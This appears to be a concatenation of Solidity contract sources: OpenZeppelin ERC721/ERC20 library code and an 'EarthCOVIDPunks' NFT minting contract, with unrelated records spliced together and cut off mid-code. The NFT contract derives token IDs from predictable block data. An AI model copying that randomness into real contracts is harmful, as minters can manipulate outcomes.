`tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } // <3 pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // WELCOME FORKS, THIS IS EARTHCOVIDPUNKSSSSS! // As of 4 August 2021, a total of 3.984.596.440 vaccine doses have been administered globally, // till the day Covid-19 are vains, dont forget to have your masks on all the time :-) // -HanMin, NNS and bros.. pragma solidity ^0.8.0; contract EarthCOVIDPunks is Ownable, ERC721Enumerable, ReentrancyGuard { using Counters for Counters.Counter; using Strings for uint256; string public imageHash; bool public isSaleOn = false; bool public saleHasBeenStarted = false; uint256 public constant MAX_MINTABLE_AT_ONCE = 20; uint256 private _price = 0.05 ether; // 50000000000000000 string public punkcontractURI; constructor() ERC721("EarthCOVIDPunks", "ECPUNK-19") {} // for wd address oaf = 0x8313536E09178C6DD30689B74aD2265dA7b2b8E3; address quack = 0xd81aDBA7051d73d01BCc7E2b8E97dFf6Ca1c80CF; uint256[1000] private _availableTokens; uint256 private _numAvailableTokens = 1000; uint256 private _numFreeRollsGiven = 0; mapping(address => uint256) public freeRollPunks; uint256 private _lastTokenIdMintedInInitialSet = 1000; function numTotalPunks() public view virtual returns (uint256) { return 1000; } function freeRollMint() public nonReentrant() { require(freeRollPunks[msg.sender] > 0, "You don't have any free rolls!"); uint256 toMint = freeRollPunks[msg.sender]; freeRollPunks[msg.sender] = 0; uint256 remaining = numTotalPunks() - totalSupply(); if (toMint > remaining) { toMint = remaining; } _mint(toMint); } function getNumFreeRollPunks(address owner) public view returns (uint256) { return freeRollPunks[owner]; } function mint(uint256 _numToMint) public payable nonReentrant() { require(isSaleOn, "Sale hasn't started yet."); uint256 totalSupply = totalSupply(); require( totalSupply + _numToMint <= numTotalPunks(), "There aren't this many punks left." ); uint256 costForMintingPunks = _price * _numToMint; require( msg.value >= costForMintingPunks, "Too little sent, please send more eth." ); if (msg.value > costForMintingPunks) { payable(msg.sender).transfer(msg.value - costForMintingPunks); } _mint(_numToMint); } // internal minting function function _mint(uint256 _numToMint) internal { require(_numToMint <= MAX_MINTABLE_AT_ONCE, "Minting too many at once."); uint256 updatedNumAvailableTokens = _numAvailableTokens; for (uint256 i = 0; i < _numToMint; i++) { uint256 newTokenId = useRandomAvailableToken(_numToMint, i); _safeMint(msg.sender, newTokenId); updatedNumAvailableTokens--; } _numAvailableTokens = updatedNumAvailableTokens; } function useRandomAvailableToken(uint256 _numToFetch, uint256 _i) internal returns (uint256) { uint256 randomNum = uint256( keccak256( abi.encode( msg.sender, tx.gasprice, block.number, block.timestamp, blockhash(block.number - 1), _numToFetch, _i ) ) ); uint256 randomIndex = randomNum % _numAvailableTokens; return useAvailableTokenAtIndex(randomIndex); } function useAvailableTokenAtIndex(uint256 indexToUse) internal returns (uint256) { uint256 valAtIndex = _availableTokens[indexToUse]; uint256 result; if (valAtIndex == 0) { // This means the index itself is still an available token result = indexToUse; } else { // This means the index itself is not an available token, but the val at that index is. result = valAtIndex; } uint256 lastIndex = _numAvailableTokens - 1; if (indexToUse != lastIndex) { // Replace the value at indexToUse, now that it's been used. // Replace it with the data from the last index in the array, since we are going to decrease the array size afterwards. uint256 lastValInArray = _availableTokens[lastIndex]; if (lastValInArray == 0) { // This means the index itself is still an available token _availableTokens[indexToUse] = lastIndex; } else { // This means the index itself is not an available token, but the val at that index is. _availableTokens[indexToUse] = lastValInArray; } } _numAvailableTokens--; return result; } function getPrice() public view returns (uint256){ return _price; } function contractURI() public view returns (string memory){ return punkcontractURI; } function getCostForMintingPunks(uint256 _numToMint) public view returns (uint256) { require( totalSupply() + _numToMint <= numTotalPunks(), "There are not this many punks left." ); require( _numToMint <= MAX_MINTABLE_AT_ONCE, "You cannot mint that many punks." ); return _numToMint * _price; } function getPunksBelongingToOwner(address _owner) external view returns (uint256[] memory) { uint256 numPunks = balanceOf(_owner); if (numPunks == 0) { return new uint256[](0); } else { uint256[] memory result = new uint256[](numPunks); for (uint256 i = 0; i < numPunks; i++) { result[i] = tokenOfOwnerByIndex(_owner, i); } return result; } } /* * Dev stuff. */ // metadata URI string private _baseTokenURI; function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function tokenURI(uint256 _tokenId) public view override returns (string memory) { string memory base = _baseURI(); string memory _tokenURI = Strings.toString(_tokenId); string memory ending = ".json"; // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } return string(abi.encodePacked(base, _tokenURI, ending)); } /* * Owner stuff */ // In case of catastrophic ETH movement function setPrice(uint256 _newPrice) public onlyOwner() { _price = _newPrice; } function startSale() public onlyOwner { isSaleOn = true; saleHasBeenStarted = true; } function endSale() public onlyOwner { isSaleOn = false; } function giveFreeRoll(address receiver, uint256 numRolls) public onlyOwner { // max number of free mints we can give to the community for promotions/marketing require(_numFreeRollsGiven < 200, "Already given max number of free rolls"); require(freeRollPunks[receiver] + numRolls < 21, "Cannot exceed 20 unused free rolls!"); uint256 freeRolls = freeRollPunks[receiver]; freeRollPunks[receiver] = freeRolls + numRolls; _numFreeRollsGiven = _numFreeRollsGiven + numRolls; } // URIs function setBaseURI(string memory baseURI) external onlyOwner { _baseTokenURI = baseURI; } function setContractURI(string memory _contractURI) external onlyOwner { punkcontractURI = _contractURI; } function setImageHash(string memory _imageHash) external onlyOwner { imageHash = _imageHash; } function withdrawTeam() public onlyOwner { //uint256 _each = address(this).balance / 4; // uint256 _sixp = .06; uint256 _balance = address(this).balance; uint256 _oaf = _balance / 100 * 6; uint256 _quack = _balance - _oaf; require(payable(oaf).send(_oaf)); require(payable(quack).send(_quack)); } function withdrawFailsafe() public onlyOwner { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success, "Transfer failed."); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
Required interface of an ERC721 compliant contract./
interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom(address from, address to, uint256 tokenId) external; function transferFrom(address from, address to, uint256 tokenId) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } }
2,351,427
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * Collection of functions related to the address type */ library Address { /** * Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); amount = _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit 